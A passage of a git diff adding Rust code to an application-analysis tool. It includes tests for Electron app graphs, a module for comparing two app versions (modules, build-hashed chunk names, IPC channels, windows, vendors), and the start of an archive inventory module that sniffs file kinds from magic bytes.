preload script could not be found in the input".to_string()); + } + out +} + +/// Content id of a graph. +pub fn graph_id(nodes: &[Node], edges: &[Edge]) -> String { + let mut ids: Vec<(&String, &String)> = nodes.iter().map(|n| (&n.id, &n.kind)).collect(); + ids.sort(); + let mut es: Vec<&Edge> = edges.iter().collect(); + es.sort(); + let v = json!({"nodes": ids, "edges": es}); + format!("ag_{}", sha256_hex(craft_anything_evidence::canonical_json(&v).as_bytes())) +} + +#[cfg(test)] +pub(crate) mod tests_support { + use super::*; + use craft_anything_testkit::electron as fx; + + pub fn graph_of(files: Vec<(&str, String)>) -> AppGraph { + let files = files.into_iter().map(|(p, c)| AppFile { path: p.into(), bytes: c.into_bytes() }).collect::>(); + let listing = files.iter().map(|f| (f.path.clone(), f.bytes.len() as u64)).collect(); + let input = AppInput { label: "notes".into(), format: "directory".into(), files, listing, notes: vec![] }; + analyze_application(&input, &AppOptions::default(), &|| false).unwrap() + } + + pub fn notes_graph() -> AppGraph { + graph_of(fx::notes_app_files()) + } +} + +#[cfg(test)] +mod tests { + use super::tests_support::notes_graph; + use super::*; + use craft_anything_testkit::electron as fx; + + #[test] + fn notes_app_graph() { + let g = notes_graph(); + assert_eq!(g.app_kind, "electron"); + assert_eq!(g.entry_points.main.as_deref(), Some("main.js")); + assert_eq!(g.entry_points.preloads, vec!["preload.js"]); + assert_eq!(g.entry_points.renderers, vec!["renderer/index.html"]); + assert_eq!(g.module("renderer/app.js").unwrap().role, "renderer"); + assert_eq!(g.module("preload.js").unwrap().role, "preload"); + let ch = g.ipc.iter().find(|c| c.channel == "export-notes").unwrap(); + assert!(ch.paired); + assert_eq!(ch.bridge_members, vec!["window.api.exportNotes"]); + assert_eq!(g.windows.len(), 1); + assert_eq!(g.windows[0]["preload"], "preload.js"); + assert_eq!(g.windows[0]["loads"][0], "renderer/index.html"); + assert!(g.edges.iter().any(|e| e.kind == "calls-bridge" && e.to == "member:api.exportNotes")); + assert!(g.edges.iter().any(|e| e.kind == "handled-by" && e.from == "ipc:export-notes")); + assert!(g.edges.iter().any(|e| e.kind == "uses" && e.to == "effect:fs.writeFileSync")); + assert!(g.endpoints.iter().any(|e| e["url"] == "https://api.notes.example/v1/sync")); + assert!(g.graph_id.starts_with("ag_")); + // Deterministic. + assert_eq!(notes_graph().graph_id, g.graph_id); + } + + #[test] + fn paths() { + assert_eq!(join_rel("a/b", "../c.js").as_deref(), Some("a/c.js")); + assert_eq!(join_rel("", "../c.js"), None); + assert_eq!(join_rel("a", "/x/y.js").as_deref(), Some("x/y.js")); + assert_eq!(package_name("@s/p/x"), "@s/p"); + assert_eq!(package_name("lodash/fp"), "lodash"); + } + + #[test] + fn cancel_is_honoured() { + let files = fx::notes_app_files().into_iter().map(|(p, c)| AppFile { path: p.into(), bytes: c.into_bytes() }).collect::>(); + let input = AppInput { files, ..Default::default() }; + assert!(analyze_application(&input, &AppOptions::default(), &|| true).is_err()); + } +} + +#[cfg(test)] +mod api_operation_tests { + use super::tests_support::graph_of; + use serde_json::json; + + #[test] + fn rows_reach_the_app_map_labelled_inferred_without_changing_the_graph() { + let src = "const q = gql`query Feed { items { id } }`;\nconst a = trpc.post.byId.useQuery();\nconst d = trpc[name].useQuery();\n"; + let g = graph_of(vec![("src/app.js", src.to_string())]); + assert_eq!(g.api_operations.len(), 3, "{:?}", g.api_operations); + assert!(g.api_operations.iter().all(|o| o["confidence"] == "inferred")); + let feed = g.api_operations.iter().find(|o| o["name"] == "Feed").unwrap(); + assert_eq!( + (&feed["protocol"], &feed["kind"], &feed["module"], &feed["line"], &feed["literal"]), + (&json!("graphql"), &json!("query"), &json!("src/app.js"), &json!(1), &json!(true)) + ); + assert!(g.api_operations.iter().any(|o| o["protocol"] == "trpc" && o["kind"] == "unknown" && o["literal"] == false)); + assert!(g.limitations.iter().any(|(k, _)| k == "api_operations_inferred")); + assert_eq!(g.stats["api_operations"], 3); + + // The graph's identity comes from nodes and edges, which these rows don't add to. + let without = graph_of(vec![("src/app.js", "const q = 1;\nconst a = 2;\nconst d = 3;\n".to_string())]); + assert!(without.api_operations.is_empty()); + assert!(!without.limitations.iter().any(|(k, _)| k == "api_operations_inferred")); + assert!(g.nodes.iter().all(|n| !n.id.contains("Feed")), "no new node kinds"); + } + + #[test] + fn a_graph_saved_before_this_field_still_loads() { + let mut v = serde_json::to_value(graph_of(vec![("a.js", "const q = 1;".to_string())])).unwrap(); + v.as_object_mut().unwrap().remove("api_operations"); + let g: super::AppGraph = serde_json::from_value(v).unwrap(); + assert!(g.api_operations.is_empty()); + } +} diff --git a/desktop/crates/analysis/src/js_compare.rs b/desktop/crates/analysis/src/js_compare.rs new file mode 100644 index 0000000..9616f12 --- /dev/null +++ b/desktop/crates/analysis/src/js_compare.rs @@ -0,0 +1,438 @@ +//! Comparing two application graphs: modules (tiered matching), bundle modules, IPC, endpoints, +//! routes, windows, native modules, vendors and export outlines. + +use crate::js_app::{AppGraph, ModuleSummary}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet}; + +fn set<'a>(it: impl Iterator) -> BTreeSet { + it.map(String::from).collect() +} + +fn diff(left: &BTreeSet, right: &BTreeSet) -> Value { + json!({ + "added": right.difference(left).take(2000).collect::>(), + "removed": left.difference(right).take(2000).collect::>(), + "unchanged": left.intersection(right).count(), + }) +} + +/// A segment a bundler puts in a file name for its content hash: 6-32 letters, digits or `_` that +/// contain a digit or mix upper and lower case (`DIpf_I7N`, `3f2a9c1b`, `UGNM3QZK`), so plain +/// words (`browser`, `vendors`) aren't taken for one. +fn looks_like_hash(s: &str) -> bool { + (6..=32).contains(&s.len()) + && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_') + && (s.bytes().any(|b| b.is_ascii_digit()) || (s.bytes().any(|b| b.is_ascii_uppercase()) && s.bytes().any(|b| b.is_ascii_lowercase()))) +} + +/// A path with its build hash taken out (`assets/Doctor-DIpf_I7N.js` → `assets/Doctor-*.js`), or +/// None when its name carries none. +fn without_build_hash(path: &str) -> Option { + let (dir, name) = path.rsplit_once('/').map_or(("", path), |(d, n)| (d, n)); + let (stem, ext) = name.split_once('.').map_or((name, ""), |(s, e)| (s, e)); + // `name-HASH.ext` (Vite, esbuild; Vite's hashes may contain `_`) … + if let Some((base, hash)) = stem.rsplit_once('-') + && !base.is_empty() + && looks_like_hash(hash) + { + return Some(format!("{dir}/{base}-*.{ext}")); + } + // … or `name.HASH.ext` (webpack): the hash is the second dot-part. + let parts: Vec<&str> = name.split('.').collect(); + if parts.len() >= 3 && parts.get(1).is_some_and(|h| looks_like_hash(h)) { + return Some(format!("{dir}/{}.*.{}", parts[0], parts[2..].join("."))); + } + None +} + +/// Same content: by hash, or, for a module saved without one (an inline script in a map from +/// before #236), by its structure, size and strings. +fn same_content(a: &ModuleSummary, b: &ModuleSummary) -> bool { + if a.sha256.is_empty() || b.sha256.is_empty() { + a.fingerprint == b.fingerprint && a.bytes == b.bytes && a.strings == b.strings + } else { + a.sha256 == b.sha256 + } +} + +/// Match modules: same path and content → unchanged; same path → changed; same content +/// elsewhere → moved; the same name apart from a bundler's build hash (one on each side) → +/// changed, with the old name; same structure (fingerprint) elsewhere → renamed. Each right +/// module is used once. +fn match_modules<'a>(l: &'a [ModuleSummary], r: &'a [ModuleSummary]) -> Value { + // Names without their build hash that occur exactly once on each side. + let unique = |mods: &'a [ModuleSummary]| { + let mut count: BTreeMap = BTreeMap::new(); + for m in mods { + if let Some(k) = without_build_hash(&m.path) { + *count.entry(k).or_default() += 1; + } + } + count.into_iter().filter(|(_, n)| *n == 1).map(|(k, _)| k).collect::>() + }; + let (unique_l, unique_r) = (unique(l), unique(r)); + let mut used: BTreeSet = BTreeSet::new(); + let mut unchanged = 0usize; + let mut changed = Vec::new(); + let mut moved = Vec::new(); + let mut renamed = Vec::new(); + let mut removed = Vec::new(); + for m in l { + if let Some(i) = r.iter().position(|x| x.path == m.path) { + used.insert(i); + match r.get(i) { + Some(x) if same_content(x, m) => unchanged += 1, + Some(x) => changed.push(json!({ + "path": m.path, + "same_structure": x.fingerprint.is_some() && x.fingerprint == m.fingerprint, + "bytes": [m.bytes, x.bytes], + "exports": export_diff(m, x), + "functions": diff(&set(m.functions.iter().map(String::as_str)), &set(x.functions.iter().map(String::as_str))), + })), + None => {} + } + continue; + } + if let Some(i) = r.iter().enumerate().position(|(i, x)| !used.contains(&i) && x.sha256 == m.sha256 && !m.sha256.is_empty()) { + used.insert(i); + moved.push(json!({"from": m.path, "to": r.get(i).map(|x| &x.path)})); + continue; + } + let hashless = without_build_hash(&m.path).filter(|k| unique_l.contains(k) && unique_r.contains(k)); + if let Some(i) = hashless.and_then(|k| r.iter().enumerate().position(|(i, x)| !used.contains(&i) && without_build_hash(&x.path).as_ref() == Some(&k))) { + used.insert(i); + if let Some(x) = r.get(i) { + changed.push(json!({ + "path": x.path, + "was": m.path, + "matched_by": "name without build hash", + "same_structure": x.fingerprint.is_some() && x.fingerprint == m.fingerprint, + "bytes": [m.bytes, x.bytes], + "exports": export_diff(m, x), + "functions": diff(&set(m.functions.iter().map(String::as_str)), &set(x.functions.iter().map(String::as_str))), + })); + } + continue; + } + if let Some(i) = r.iter().enumerate().position(|(i, x)| !used.contains(&i) && x.fingerprint.is_some() && x.fingerprint == m.fingerprint) { + used.insert(i); + renamed.push(json!({"from": m.path, "to": r.get(i).map(|x| &x.path), "matched_by": "structure"})); + continue; + } + removed.push(m.path.clone()); + } + let added: Vec<&String> = r.iter().enumerate().filter(|(i, _)| !used.contains(i)).map(|(_, x)| &x.path).collect(); + json!({"unchanged": unchanged, "changed": changed, "moved": moved, "renamed": renamed, "added": added, "removed": removed}) +} + +fn export_diff(a: &ModuleSummary, b: &ModuleSummary) -> Value { + let l = set(a.exports.esm.iter().chain(a.exports.cjs.iter()).map(String::as_str)); + let r = set(b.exports.esm.iter().chain(b.exports.cjs.iter()).map(String::as_str)); + let mut v = diff(&l, &r); + if a.exports.cjs_whole != b.exports.cjs_whole + && let Some(o) = v.as_object_mut() + { + o.insert("module_exports".into(), json!([a.exports.cjs_whole, b.exports.cjs_whole])); + } + v +} + +/// Bundle modules across both graphs: by content, then structure, then id. +fn match_bundle_modules(l: &AppGraph, r: &AppGraph) -> Value { + let lm: Vec<(&str, &crate::js_app::BundleModuleSummary)> = + l.modules.iter().flat_map(|m| m.bundle_modules.iter().map(move |b| (m.path.as_str(), b))).collect(); + let rm: Vec<(&str, &crate::js_app::BundleModuleSummary)> = + r.modules.iter().flat_map(|m| m.bundle_modules.iter().map(move |b| (m.path.as_str(), b))).collect(); + let mut used = BTreeSet::new(); + let mut tiers: BTreeMap<&str, usize> = BTreeMap::new(); + let mut changed = Vec::new(); + let mut removed = Vec::new(); + for (lp, b) in &lm { + let tier = [ + ("content", rm.iter().enumerate().position(|(i, (_, x))| !used.contains(&i) && x.sha256 == b.sha256)), + ("structure", rm.iter().enumerate().position(|(i, (_, x))| !used.contains(&i) && x.fingerprint == b.fingerprint)), + ("id", rm.iter().enumerate().position(|(i, (_, x))| !used.contains(&i) && x.id == b.id)), + ] + .into_iter() + .find_map(|(t, i)| i.map(|i| (t, i))); + match tier { + Some((t, i)) => { + used.insert(i); + *tiers.entry(t).or_default() += 1; + if t == "id" && changed.len() < 2000 { + changed.push(json!({"id": b.id, "file": lp})); + } + } + None => removed.push(json!({"id": b.id, "file": lp})), + } + } + let added: Vec = rm.iter().enumerate().filter(|(i, _)| !used.contains(i)).map(|(_, (p, b))| json!({"id": b.id, "file": p})).take(2000).collect(); + json!({"left": lm.len(), "right": rm.len(), "matched_by": tiers, "changed": changed, "added": added, "removed": removed}) +} + +fn str_field<'a>(v: &'a [Value], key: &'a str) -> impl Iterator { + v.iter().filter_map(move |x| x.get(key).and_then(Value::as_str)) +} + +/// The full version comparison. +pub fn compare_versions(l: &AppGraph, r: &AppGraph) -> Value { + let pkg = |g: &AppGraph, k: &str| g.package.as_ref().and_then(|p| p.get(k)).cloned().unwrap_or(Value::Null); + let channels = |g: &AppGraph| set(g.ipc.iter().map(|c| c.channel.as_str())); + let handlers = |g: &AppGraph| set(g.ipc.iter().filter(|c| !c.handlers.is_empty() || !c.main_listeners.is_empty()).map(|c| c.channel.as_str())); + let endpoints = |g: &AppGraph| { + g.endpoints + .iter() + .filter(|e| e.get("api").and_then(Value::as_str) != Some("literal")) + .map(|e| format!("{} {}", e.get("method").and_then(Value::as_str).unwrap_or("*"), e.get("url").and_then(Value::as_str).unwrap_or(""))) + .collect::>() + }; + let urls = |g: &AppGraph| set(str_field(&g.endpoints, "url")); + let routes = |g: &AppGraph| set(str_field(&g.routes, "path")); + let natives = |g: &AppGraph| set(str_field(&g.native_modules, "name")); + let members = |g: &AppGraph| { + g.exposed + .iter() + .flat_map(|e| { + let key = e.get("key").and_then(Value::as_str).unwrap_or("?").to_string(); + e.get("members") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(move |m| m.get("name").and_then(Value::as_str).map(|n| format!("window.{key}.{n}"))) + }) + .collect::>() + }; + let vendors = |g: &AppGraph| { + g.vendors + .iter() + .filter_map(|v| Some((v.get("name")?.as_str()?.to_string(), v.get("version").and_then(Value::as_str).unwrap_or("").to_string()))) + .collect::>() + }; + let (lv, rv) = (vendors(l), vendors(r)); + let vendor_changes: Vec = lv + .iter() + .filter_map(|(n, v)| rv.get(n).filter(|w| *w != v).map(|w| json!({"name": n, "from": v, "to": w}))) + .chain(rv.keys().filter(|n| !lv.contains_key(*n)).map(|n| json!({"name": n, "added": true}))) + .chain(lv.keys().filter(|n| !rv.contains_key(*n)).map(|n| json!({"name": n, "removed": true}))) + .take(2000) + .collect(); + let windows = |g: &AppGraph| { + // An unassigned constructor has no binding, and local bindings can repeat in different + // functions. Keep each occurrence instead of overwriting all but the last one. The order + // within a module and binding is stable when comments shift the source line numbers. + let mut occurrences = BTreeMap::new(); + g.windows + .iter() + .map(|w| { + let module = w.get("module").and_then(Value::as_str).unwrap_or("").to_string(); + let binding = w.get("binding").and_then(Value::as_str).unwrap_or("").to_string(); + let count = occurrences.entry((module.clone(), binding.clone())).or_insert(0usize); + let occurrence = *count; + *count = count.saturating_add(1); + ((module, binding, occurrence), w.get("web_preferences").cloned().unwrap_or(Value::Null)) + }) + .collect::>() + }; + let (lw, rw) = (windows(l), windows(r)); + let window_changes: Vec = lw + .iter() + .filter_map(|(key, v)| { + rw.get(key).filter(|w| *w != v).map(|w| { + let (module, binding, occurrence) = key; + let name = if binding.is_empty() || *occurrence > 0 { + format!("{module}:{binding}[{}]", occurrence.saturating_add(1)) + } else { + format!("{module}:{binding}") + }; + json!({"window": name, "from": v, "to": w}) + }) + }) + .collect(); + json!({ + "left": {"graph_id": l.graph_id, "label": l.label, "version": pkg(l, "version"), "name": pkg(l, "name")}, + "right": {"graph_id": r.graph_id, "label": r.label, "version": pkg(r, "version"), "name": pkg(r, "name")}, + "identical_graph": l.graph_id == r.graph_id, + "modules": match_modules(&l.modules, &r.modules), + "bundle_modules": match_bundle_modules(l, r), + "ipc_channels": diff(&channels(l), &channels(r)), + "ipc_handlers": diff(&handlers(l), &handlers(r)), + "bridge_members": diff(&members(l), &members(r)), + "endpoints": diff(&endpoints(l), &endpoints(r)), + "urls": diff(&urls(l), &urls(r)), + "routes": diff(&routes(l), &routes(r)), + "native_modules": diff(&natives(l), &natives(r)), + "vendors": vendor_changes, + "windows": {"changed": window_changes, "left": lw.len(), "right": rw.len()}, + }) +} + +/// Export outlines module by module (matched by path, then by structure). +pub fn compare_export_outlines(l: &AppGraph, r: &AppGraph) -> Value { + let mut rows = Vec::new(); + let mut used = BTreeSet::new(); + let mut changed = 0usize; + for m in l.modules.iter().filter(|m| m.kind == "script") { + let idx = r + .modules + .iter() + .position(|x| x.path == m.path) + .or_else(|| r.modules.iter().position(|x| x.fingerprint.is_some() && x.fingerprint == m.fingerprint)); + match idx.and_then(|i| r.modules.get(i).map(|x| (i, x))) { + Some((i, x)) => { + used.insert(i); + let d = export_diff(m, x); + let same = + d["added"].as_array().is_some_and(Vec::is_empty) && d["removed"].as_array().is_some_and(Vec::is_empty) && d.get("module_exports").is_none(); + if !same { + changed += 1; + } + rows.push(json!({"left": m.path, "right": x.path, "same": same, "diff": d, "left_outline": m.exports, "right_outline": x.exports})); + } + None => rows.push(json!({"left": m.path, "right": null, "removed": true, "left_outline": m.exports})), + } + } + for (i, x) in r.modules.iter().enumerate().filter(|(_, x)| x.kind == "script") { + if !used.contains(&i) { + rows.push(json!({"left": null, "right": x.path, "added": true, "right_outline": x.exports})); + } + } + json!({"modules": rows, "changed": changed}) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::js_app::tests_support::{graph_of, notes_graph}; + use craft_anything_testkit::electron as fx; + + #[test] + fn build_hashes_in_names_are_recognised_and_plain_words_are_not() { + assert_eq!(without_build_hash("assets/Doctor-DIpf_I7N.js").as_deref(), Some("assets/Doctor-*.js")); + assert_eq!(without_build_hash("assets/Doctor-DrkWsav4.js").as_deref(), Some("assets/Doctor-*.js")); + assert_eq!(without_build_hash("dist/main.3f2a9c1b.js").as_deref(), Some("dist/main.*.js")); + assert_eq!(without_build_hash("out/chunk-UGNM3QZK.mjs").as_deref(), Some("out/chunk-*.mjs")); + for plain in ["src/index-browser.js", "dist/chunk-vendors.js", "react-dom.js", "main.js", "app.min.js", "a/b-c.js"] { + assert_eq!(without_build_hash(plain), None, "{plain}"); + } + } + + /// From comparing two releases of a large Electron app: chunks renamed only by their build + /// hash were 162 "removed" + "added"; they're one changed module each, and two chunks that + /// share a name without their hash aren't guessed between. + #[test] + fn chunks_renamed_by_their_build_hash_pair_up() { + let m = |path: &str, sha: &str| ModuleSummary { path: path.into(), sha256: sha.into(), kind: "script".into(), ..Default::default() }; + let left = [m("assets/Doctor-DIpf_I7N.js", "a1"), m("assets/index-Ab12cd34.js", "b1"), m("assets/index-Ef56gh78.js", "c1"), m("main.js", "d1")]; + let right = [m("assets/Doctor-DrkWsav4.js", "a2"), m("assets/index-Zz99yy88.js", "b2"), m("assets/index-Qq77ww66.js", "c2"), m("main.js", "d1")]; + let d = match_modules(&left, &right); + assert_eq!(d["unchanged"], 1); + let changed = d["changed"].as_array().unwrap(); + assert_eq!(changed.len(), 1, "{d}"); + assert_eq!((changed[0]["was"].as_str(), changed[0]["path"].as_str()), (Some("assets/Doctor-DIpf_I7N.js"), Some("assets/Doctor-DrkWsav4.js"))); + assert_eq!(d["removed"].as_array().unwrap().len(), 2, "two index chunks: ambiguous, left alone"); + assert_eq!(d["added"].as_array().unwrap().len(), 2); + } + + #[test] + fn versions_differ_where_expected() { + let a = notes_graph(); + let b = graph_of(fx::notes_app_v2_files()); + let d = compare_versions(&a, &b); + assert_eq!(d["left"]["version"], "1.0.0"); + assert_eq!(d["right"]["version"], "2.0.0"); + assert_eq!(d["ipc_channels"]["added"], json!(["import-notes"])); + assert_eq!(d["modules"]["changed"][0]["path"], "main.js"); + assert_eq!(d["identical_graph"], false); + let same = compare_versions(&a, &a); + assert_eq!(same["identical_graph"], true); + assert_eq!(same["modules"]["unchanged"], 4); + } + + fn window_graph(bindings: &[&str], preferences: &[bool], prefix: &str) -> AppGraph { + let mut source = format!("{prefix}const {{ BrowserWindow }} = require('electron');\n"); + for (i, (binding, preference)) in bindings.iter().zip(preferences).enumerate() { + let assign = if binding.is_empty() { String::new() } else { format!("const {binding} = ") }; + source.push_str(&format!("function make_{i}() {{ {assign}new BrowserWindow({{ webPreferences: {{ backgroundThrottling: {preference} }} }}); }}\n")); + } + graph_of(vec![("package.json", r#"{"name":"window-example","main":"main.js"}"#.into()), ("main.js", source)]) + } + + #[test] + fn unassigned_windows_keep_each_preference_change() { + let left = window_graph(&["", ""], &[false, false], ""); + assert_eq!(left.windows.len(), 2); + let mut ids = Vec::new(); + for prefs in [[true, false], [false, true]] { + let right = window_graph(&["", ""], &prefs, ""); + let windows = compare_versions(&left, &right)["windows"].clone(); + assert_eq!(windows["left"], 2, "{windows}"); + assert_eq!(windows["right"], 2); + let changed = windows["changed"].as_array().unwrap(); + assert_eq!(changed.len(), 1, "{windows}"); + assert_eq!(changed[0]["from"]["backgroundThrottling"], false); + assert_eq!(changed[0]["to"]["backgroundThrottling"], true); + ids.push(changed[0]["window"].clone()); + } + assert_ne!(ids[0], ids[1], "the changed constructions are distinguishable"); + } + + #[test] + fn window_comparisons_keep_named_and_reused_bindings() { + for bindings in [["primary", "secondary"], ["panel", "panel"]] { + let left = window_graph(&bindings, &[false, true], ""); + let right = window_graph(&bindings, &[true, true], ""); + let windows = compare_versions(&left, &right)["windows"].clone(); + assert_eq!(windows["left"], 2, "{windows}"); + assert_eq!(windows["right"], 2); + assert_eq!(windows["changed"].as_array().unwrap().len(), 1, "{windows}"); + if bindings[0] == "primary" { + assert_eq!(windows["changed"][0]["window"], "main.js:primary", "unique binding identifiers stay stable"); + } + } + } + + #[test] + fn window_comparisons_do_not_depend_on_source_line_numbers() { + let left = window_graph(&["", ""], &[false, true], ""); + let shifted = window_graph(&["", ""], &[false, true], "// Added explanation\n\n"); + let same = compare_versions(&left, &shifted)["windows"].clone(); + assert_eq!(same, json!({"left": 2, "right": 2, "changed": []})); + let right = window_graph(&["", "", ""], &[true, true, false], "// Added explanation\n\n"); + let windows = compare_versions(&left, &right)["windows"].clone(); + assert_eq!((windows["left"].as_u64(), windows["right"].as_u64()), (Some(2), Some(3))); + assert_eq!(windows["changed"].as_array().unwrap().len(), 1, "the first preference change survives shifted lines"); + } + + /// #236: an edited inline script had no hash on either side and counted as unchanged. + #[test] + fn an_edited_inline_script_is_changed() { + let page = |says: &str| graph_of(vec![("index.html", format!(""))]); + let (a, b) = (page("A"), page("B")); + assert!(a.modules.iter().all(|m| !m.sha256.is_empty()), "{:?}", a.modules); + let d = compare_versions(&a, &b); + let changed: Vec<&str> = d["modules"]["changed"].as_array().unwrap().iter().filter_map(|c| c["path"].as_str()).collect(); + assert_eq!(changed, ["index.html#inline-0", "index.html"], "{d}"); + assert_eq!(compare_versions(&a, &a)["modules"]["unchanged"], 2); + // Maps saved before inline scripts had a hash. + let unhashed = |g: &AppGraph| { + g.modules + .iter() + .cloned() + .map(|m| ModuleSummary { sha256: if m.path.contains("#inline-") { String::new() } else { m.sha256 }, ..m }) + .collect::>() + }; + assert_eq!(match_modules(&unhashed(&a), &unhashed(&a))["unchanged"], 2); + assert_eq!(match_modules(&unhashed(&a), &unhashed(&b))["changed"].as_array().unwrap().len(), 2); + } + + #[test] + fn export_outlines() { + let a = graph_of(vec![("lib.js", "exports.a = 1; exports.b = 2;".into())]); + let b = graph_of(vec![("lib.js", "exports.a = 1; exports.c = 3;".into())]); + let d = compare_export_outlines(&a, &b); + assert_eq!(d["changed"], 1); + assert_eq!(d["modules"][0]["diff"]["added"], json!(["c"])); + assert_eq!(d["modules"][0]["diff"]["removed"], json!(["b"])); + } +} diff --git a/desktop/crates/analysis/src/js_inventory.rs b/desktop/crates/analysis/src/js_inventory.rs new file mode 100644 index 0000000..a1ca0a8 --- /dev/null +++ b/desktop/crates/analysis/src/js_inventory.rs @@ -0,0 +1,539 @@ +//! Content-addressed inventories of archives and app bundles (ZIP/APK/IPA/JAR, ASAR, folders), +//! with nested archives expanded to a bounded depth. Pure: callers feed bytes. + +use crate::js_app::Cancelled; +use craft_anything_evidence::sha256_hex; +use craft_anything_formats::{asar, java_class, zip}; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +#[derive(Debug, Clone, Copy)] +pub struct InvLimits { + pub max_entries: usize, + /// How deep nested archives are opened (0 = only the outer container). + pub max_depth: u32, + /// Largest nested archive opened in memory. + pub max_nested_bytes: u64, + /// Largest single entry read (and hashed) from an archive. + pub max_entry_bytes: u64, + /// Total bytes decompressed and hashed across the inventory. + pub max_total_bytes: u64, +} + +impl Default for InvLimits { + fn default() -> Self { + InvLimits { + max_entries: 200_000, + max_depth: 3, + max_nested_bytes: 512 * 1024 * 1024, + max_entry_bytes: 1024 * 1024 * 1024, + max_total_bytes: 8 * 1024 * 1024 * 1024, + } + } +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct InvEntry { + /// Path; members of nested archives use `outer!/inner`. + pub path: String, + pub size: u64, + #[serde(skip_serializing_if = "Option::is_none")] + pub sha256: Option, + /// What the bytes are (`elf`, `zip`, `asar`, `javascript`, `json`, …), or `directory`/`link`. + pub kind: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub role: Option, + pub depth: u32, + /// `verified`, `mismatch` or absent, for archives that carry per-file hashes. + #[serde(skip_serializing_if = "Option::is_none")] + pub integrity: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub note: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct Inventory { + pub root: String, + pub root_kind: String, + pub entries: Vec, + pub containers: Vec, + pub contradictions: Vec, + pub truncated: bool, + pub hashed_bytes: u64, +} + +impl Inventory { + pub fn by_kind(&self) -> BTreeMap { + let mut m = BTreeMap::new(); + for e in &self.entries { + *m.entry(e.kind.clone()).or_default() += 1; + } + m + } + + /// `inv_` + sha256 over (path, sha256) pairs, sorted: equal content trees share an id whatever + /// order their archive lists them in (#281). + pub fn content_id(&self) -> String { + let mut pairs: Vec<(&str, Option<&str>)> = self.entries.iter().map(|e| (e.path.as_str(), e.sha256.as_deref())).collect(); + pairs.sort_unstable(); + format!("inv_{}", sha256_hex(craft_anything_evidence::canonical_json(&json!(pairs)).as_bytes())) + } +} + +/// What a blob is, from magic bytes (and the name for text formats). +pub fn sniff_kind(bytes: &[u8], name: &str) -> &'static str { + let lower = name.to_ascii_lowercase(); + let starts = |m: &[u8]| bytes.starts_with(m); + if starts(b"\x7fELF") { + return if lower.ends_with(".node") { "native-addon" } else { "elf" }; + } + if starts(b"MZ") { + return if lower.ends_with(".node") { "native-addon" } else { "pe" }; + } + if starts(&[0xcf, 0xfa, 0xed, 0xfe]) || starts(&[0xce, 0xfa, 0xed, 0xfe]) || starts(&[0xfe, 0xed, 0xfa, 0xcf]) || starts(&[0xfe, 0xed, 0xfa, 0xce]) { + return if lower.ends_with(".node") { "native-addon" } else { "macho" }; + } + if starts(&[0xca, 0xfe, 0xba, 0xbe]) { + // Both start 0xCAFEBABE; the class's version sits where a universal binary counts its slices. + return if java_class::is_class(bytes) { "java-class" } else { "macho-fat" }; + } + if starts(b"\0asm") { + return "wasm"; + } + if starts(b"dex\n") { + return "dex"; + } + if zip::looks_like_zip(bytes) { + return match lower.rsplit('.').next().unwrap_or("") { + "apk" | "aab" | "xapk" => "apk", + "ipa" => "ipa", + "jar" | "war" | "aar" => "jar", + "hap" | "hsp" => "hap", + "appx" | "msix" | "appxbundle" | "msixbundle" => "msix", + _ => "zip", + }; + } + if asar::looks_like_asar(bytes) { + return "asar"; + } + if starts(b"bplist00") { + return "binary-plist"; + } + if starts(&[0x1f, 0x8b]) { + return "gzip"; + } + if starts(b"\x89PNG") { + return "png"; + } + if starts(&[0xff, 0xd8, 0xff]) { + return "jpeg"; + } + if starts(b"GIF8") { + return "gif"; + } + if starts(b"%PDF") { + return "pdf"; + } + if starts(b"SQLite format 3\0") { + return "sqlite"; + } + if starts(b"xar!") { + return "xar"; + } + if starts(b"BOMStore") { + return "bom"; + } + if starts(&[0x03, 0x00, 0x08, 0x00]) && lower.ends_with(".xml") { + return "android-binary-xml"; + } + let ext = lower.rsplit('.').next().unwrap_or(""); + match ext { + "js" | "mjs" | "cjs" | "jsx" => "javascript", + "ts" | "tsx" | "mts" | "cts" => "typescript", + "map" => "source-map", + "json" | "json5" => "json", + "html" | "htm" => "html", + "css" => "css", + "plist" if bytes.windows(6).take(1024).any(|w| w == b" "xml-plist", + "xml" => "xml", + "svg" => "svg", + "txt" | "md" => "text", + "abc" => "ark-bytecode", + "car" => "asset-catalog", + "nib" => "nib", + _ if !bytes.is_empty() && std::str::from_utf8(bytes.get(..bytes.len().min(4096)).unwrap_or(&[])).is_ok() => "text", + _ => "binary", + } +} + +/// What a path is for, by convention. +pub fn path_role(path: &str) -> Option<&'static str> { + let l = path.to_ascii_lowercase(); + let name = l.rsplit('/').next().unwrap_or(&l); + Some(if name == "androidmanifest.xml" { + "android-manifest" + } else if name.starts_with("classes") && name.ends_with(".dex") { + "android-code" + } else if name == "resources.arsc" { + "android-resources" + } else if l.starts_with("meta-inf/") && (name.ends_with(".rsa") || name.ends_with(".sf") || name.ends_with(".ec") || name == "manifest.mf") { + "signature" + } else if name == "info.plist" { + "bundle-info" + } else if l.contains("_codesignature/") || name == "embedded.mobileprovision" || name == "embedded.provisionprofile" { + "code-signature" + } else if name.ends_with(".entitlements") { + "entitlements" + } else if name == "assets.car" { + "asset-catalog" + } else if name.ends_with(".nib") || l.contains(".storyboardc/") { + "interface" + } else if name == "module.json" || name == "module.json5" || name == "pack.info" || name == "app.json5" { + "harmony-manifest" + } else if name.ends_with(".abc") { + "harmony-code" + } else if name == "package.json" { + "package-manifest" + } else if name.ends_with(".asar") { + "electron-archive" + } else if name.ends_with(".map") { + "source-map" + } else if name.ends_with(".js") + || name.ends_with(".mjs") + || name.ends_with(".cjs") + || name.ends_with(".jsbundle") + || name.ends_with(".bundle") && l.contains("assets/") + { + "script" + } else if name.ends_with(".node") || name.ends_with(".dylib") || name.ends_with(".so") || name.ends_with(".dll") || l.contains(".so.") { + "native-library" + } else if l.contains(".framework/") { + "framework" + } else if name.ends_with(".plist") { + "property-list" + } else { + return None; + }) +} + +/// Builds an inventory; feed it files and archives. +pub struct Inventorier<'c> { + pub limits: InvLimits, + pub inv: Inventory, + cancelled: &'c dyn Fn() -> bool, + counter: 